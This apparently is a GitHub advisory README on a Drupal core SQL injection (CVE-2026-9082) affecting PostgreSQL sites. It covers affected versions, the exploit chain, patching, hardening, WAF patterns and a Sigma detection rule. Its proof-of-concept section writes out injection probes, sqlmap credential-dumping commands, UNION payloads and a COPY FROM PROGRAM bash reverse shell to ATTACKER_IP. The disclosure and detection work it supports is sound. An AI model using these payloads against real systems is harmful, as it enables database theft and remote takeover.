lysophavin18/cve-2026-9082

GitHub: lysophavin18/cve-2026-9082

Stars: 0 | Forks: 0

# CVE-2026-9082 **Type**: SQL Injection (CWE-89) **Affected Product**: Drupal Core (Database Abstraction API) **Drupal Advisory**: SA-CORE-2026-004 **Published**: May 20, 2026 **Severity**: Highly Critical (Drupal 20/25 | NVD CVSS 6.5) ## What Is It? CVE-2026-9082 is a **SQL Injection** vulnerability in Drupal's core database abstraction API. Drupal's DB layer wraps PDO and sanitizes all queries before they reach the database. This vulnerability bypasses that sanitization for **PostgreSQL backends only** — specially crafted HTTP requests slip past the normalization logic, injecting attacker-controlled SQL fragments directly into database queries. MySQL and MariaDB are **not affected** by the injection vector, though the patch release also bundles critical Symfony/Twig fixes that apply to all backends. ## Affected Versions | Branch | Vulnerable | Patched | |---|---|---| | Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 | | Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 | | Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 | | Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 | | Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 | | Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 | **Prerequisite**: Target must use PostgreSQL as its database backend. ## How It Works (Technical) Drupal's DB abstraction layer sanitizes *values* via parameterized queries/prepared statements, but relies on the query builder to provide trusted *structural* SQL (field names, operators, ORDER BY targets). The bug is in how the PostgreSQL driver handles certain input patterns when building queries — PostgreSQL's SQL dialect differs from MySQL in key ways: - String concatenation with `||` - Type casting with `::` - Dollar-quoting - `COPY ... FROM PROGRAM` command - Different operator handling A crafted request introduces characters/sequences that pass Drupal's value-level sanitization but are interpreted as **structural SQL** by PostgreSQL's parser. The attack surface is reachable **without authentication** via any endpoint that passes user-controlled parameters into DB queries (search, view filters, form submissions, JSON:API, etc.). ### Exploitation Chain Attacker (unauthenticated) | |--> HTTP request with crafted parameter | (e.g. search field, filter, form input) | v Drupal DB Abstraction API | |--> Sanitization bypass (PostgreSQL-specific) | v PostgreSQL executes injected SQL | |--> Information disclosure (dump entire DB) |--> Privilege escalation (inject admin credentials) |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.) ## Why It's Dangerous 1. **No authentication required** — any internet-facing Drupal site on PostgreSQL is exposed 2. **RCE potential** — via `COPY TO PROGRAM 'cmd'` if DB user has superuser privileges 3. **Full DB access** — user accounts, password hashes, session tokens, PII 4. **Broad version range** — entire Drupal 8/10/11 lifecycle 5. **Compound risk** — same patch covers Twig SSTI; attacker can chain SQLi → admin creation → SSTI for RCE Drupal's own warning: *"exploits might be developed within hours or days of disclosure"* (consistent with historical Drupal DB-layer CVEs like SA-CORE-2014-005 / Drupalgeddon). ## Proof-of-Concept (Authorized Lab Testing Only) ### Step 1: Identify Candidate Endpoints # Endpoints that pass user input through DB abstraction layer curl -s "https://target.drupal.site/search/node?keys=test" curl -s "https://target.drupal.site/views/ajax" curl -s "https://target.drupal.site/jsonapi/node/article" ### Step 2: Detect PostgreSQL-Specific Injection # Time-based (pg_sleep is PostgreSQL-only) curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--" # Cast-based probe (:: is PostgreSQL syntax) curl -s "https://target.drupal.site/search/node?keys=1::integer" # Boolean-based differentiation curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1" curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2" ### Step 3: Automated Extraction (sqlmap, Authorized Testing) sqlmap -u "https://target.drupal.site/search/node?keys=test" \ --dbms=PostgreSQL \ --level=5 --risk=3 \ --technique=BEUST \ --tamper=space2comment,between \ --dbs # Dump credentials after confirming injection sqlmap -u "https://target.drupal.site/search/node?keys=test" \ --dbms=PostgreSQL \ -D drupal -T users_field_data \ -C name,mail,pass --dump ### Step 4: Manual UNION-Based Extraction (Conceptual) -- Fingerprint column count test' ORDER BY 1-- test' ORDER BY 2-- -- increment until error -- Extract credentials (PostgreSQL syntax) test' UNION SELECT null,username,password FROM users_field_data-- -- Check if DB user is superuser test' UNION SELECT null,current_user,null-- test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user-- ### Step 5: RCE via COPY TO PROGRAM (If DB User = Superuser) CREATE TABLE cmd_out(output TEXT); COPY cmd_out FROM PROGRAM 'id; uname -a'; SELECT * FROM cmd_out; -- Reverse shell (replace ATTACKER_IP/PORT) COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'; ## Mitigation ### Immediate: Patch Drupal # Composer (recommended) composer update drupal/core drupal/core-recommended # Verify version php core/scripts/drupal --version # OR via Drush drush updb && drush cr ### Database Hardening -- Verify application DB user is NOT superuser SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user'; -- Should return usesuper = false ### WAF (Temporary Stopgap Only — Not a Substitute for Patching) Block patterns: `pg_sleep`, `COPY.*PROGRAM`, `::text`, `::integer`, `UNION.*SELECT`, `%27--` ### Network Ensure PostgreSQL binds only to localhost or a private interface; not internet-reachable. ## Detection Signals | Source | Signal | |---|---| | Web logs | `pg_sleep`, `::`, `UNION SELECT`, `--`, `COPY PROGRAM` in query strings | | PostgreSQL logs | Syntax errors correlating with web request timestamps | | Drupal watchdog | DB exceptions from search/view/jsonapi endpoints | | auditd | `postgres` spawning child processes (COPY TO PROGRAM) | | Drupal users table | New `administrator` role rows with recent timestamps | ### Sigma Rule (Detection) title: Drupal CVE-2026-9082 SQL Injection Attempt logsource: category: webserver detection: selection: cs-uri-query|contains: - "pg_sleep" - "UNION+SELECT" - "::text" - "::integer" - "COPY+TO" - "%27--" filter: cs-uri-stem|contains: - "/search/" - "/views/ajax" - "/jsonapi/" condition: selection and filter level: high tags: [attack.t1190, cve.2026.9082] ## Summary CVE-2026-9082 is a **zero-authentication SQL injection** in Drupal Core targeting PostgreSQL backends. Despite a moderate NVD CVSS of 6.5, Drupal rates it 20/25 (Highly Critical) because unauthenticated access + PostgreSQL's COPY TO PROGRAM = direct RCE in misconfigured environments. The broad affected version range and bundled Twig SSTI fixes make this a **critical, urgent patch** for all Drupal sites, especially those on PostgreSQL in internet-facing deployments. **Recommended action**: Update to the patched version for your branch immediately. Verify your DB application user is not a PostgreSQL superuser.